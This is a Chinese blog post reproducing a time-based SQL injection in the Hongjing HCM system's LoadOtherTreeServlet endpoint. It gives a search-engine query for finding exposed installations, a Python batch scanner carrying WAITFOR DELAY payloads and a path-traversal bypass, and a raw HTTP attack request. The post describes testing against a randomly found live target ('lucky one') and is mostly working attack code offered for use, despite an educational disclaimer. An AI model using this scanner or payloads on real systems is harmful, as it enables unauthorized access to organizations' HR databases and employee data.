【漏洞复现】宏景HCM-LoadOtherTreeServlet SQL注入

声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

宏景HCM人力资源信息管理系统是一个全面的人力资源管理软件,它覆盖了人力资源管理的各个模块。该系统旨在帮助企事业单位建立高效的组织,促进组织的健康发展,并增强组织的软实力。然而,该系统的LoadOtherTreeServlet接口存在安全问题,因为它没有对传入的数据进行预编译和充分的验证,这导致了SQL注入漏洞的存在。

二、资产收集

1.使用网络空间测绘引擎搜索

**鹰图检索:**app.name="宏景 HCM"

2.使用poc批量扫描

python 复制代码
import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning

RED = '\033[91m'  # 定义红色字体的ANSI转义码
RESET = '\033[0m'  # 定义重置颜色的ANSI转义码
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
    try:
        # 构造完整的攻击URL
        attack_url = url.rstrip('/') + "/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1"
        attack_payload = """usertable=h00&usernumber=1&i9999=-1';WAITFOR+DELAY+'0:0:6'--+"""

        headers = {
            'Content-Type': 'application/x-www-form-urlencoded'
        }

        start_time = time.time()  # 记录开始时间
        response = requests.post(attack_url, headers=headers, data=attack_payload, verify=False, timeout=10)  # 发送POST请求
        elapsed_time = time.time() - start_time  # 计算请求耗时

        if 4 < elapsed_time < 6:  # 如果耗时在4到6秒之间,可能存在漏洞
            print(f"{RED}URL [{url}] 可能存在宏景HCM-LoadOtherTreeServlet-sql注入漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")
    except requests.exceptions.Timeout:  # 捕获超时异常
        print(f"URL [{url}] 请求超时,可能存在漏洞")
    except requests.RequestException as e:  # 捕获其他请求异常
        print(f"URL [{url}] 请求失败: {e}")

def main():
    parser = argparse.ArgumentParser(description='检测目标地址是否宏景HCM-LoadOtherTreeServlet-sql注入漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    args = parser.parse_args()

    if args.url:  # 如果提供了单个URL参数
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        check_vulnerability(args.url)
    elif args.file:  # 如果提供了包含多个URL的文件参数
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                check_vulnerability(url)

if __name__ == '__main__':
    main()

cmd运行:python poc.py -f url.txt

随机寻找的幸运儿

三、漏洞复现

1.构造数据包

html 复制代码
GET /w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close

2.数据包分析

  1. 请求方法:GET
  2. 请求路径:/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1
  3. HTTP版本:HTTP/1.1
  4. Host头:ip(目标服务器的IP地址)
  5. User-Agent头:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0(表示客户端使用的浏览器和操作系统信息)
  6. Accept头:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8(表示客户端接受的内容类型及其优先级)
  7. Accept-Language头:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2(表示客户端接受的语言及其优先级)
  8. Accept-Encoding头:gzip, deflate, br(表示客户端接受的编码方式)
  9. Connection头:close(表示请求完成后关闭连接)

/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet,在解码后,URL路径变为:/w_selfservice/oauthservlet/././gz/LoadOtherTreeServlet

请求还包含以下参数:

  • modelflag=4:可能是用于指定某种模式或配置的标志。
  • budget_id=1)WAITFOR+DELAY+'0:0:4'--&flag=1:其中budget_id的值被设置为1,后面跟着一段SQL语句(WAITFOR DELAY '0:0:4'),如果SQL语句被正常执行则延时4秒

3.结束跑路

执行成功,延时1秒。

执行成功,延时4秒。

**每篇一言:**风月折断杨柳枝,琴瑟朝露挥掷成诗。

相关推荐
qmx_0727 分钟前
HTB-Jerry(tomcat war文件、msfvenom)
java·web安全·网络安全·tomcat
小安运维日记28 分钟前
Linux云计算 |【第四阶段】NOSQL-DAY1
linux·运维·redis·sql·云计算·nosql
kejijianwen1 小时前
JdbcTemplate常用方法一览AG网页参数绑定与数据寻址实操
服务器·数据库·oracle
编程零零七2 小时前
Python数据分析工具(三):pymssql的用法
开发语言·前端·数据库·python·oracle·数据分析·pymssql
suifen_2 小时前
RK3229_Android9.0_Box 4G模块EC200A调试
网络
GEEKVIP3 小时前
Android 恢复挑战和解决方案:如何从 Android 设备恢复删除的文件
android·笔记·安全·macos·智能手机·电脑·笔记本电脑
铁松溜达py3 小时前
编译器/工具链环境:GCC vs LLVM/Clang,MSVCRT vs UCRT
开发语言·网络
草莓屁屁我不吃4 小时前
Siri因ChatGPT-4o升级:我们的个人信息还安全吗?
人工智能·安全·chatgpt·chatgpt-4o
高兴就好(石5 小时前
DB-GPT部署和试用
数据库·gpt
这孩子叫逆5 小时前
6. 什么是MySQL的事务?如何在Java中使用Connection接口管理事务?
数据库·mysql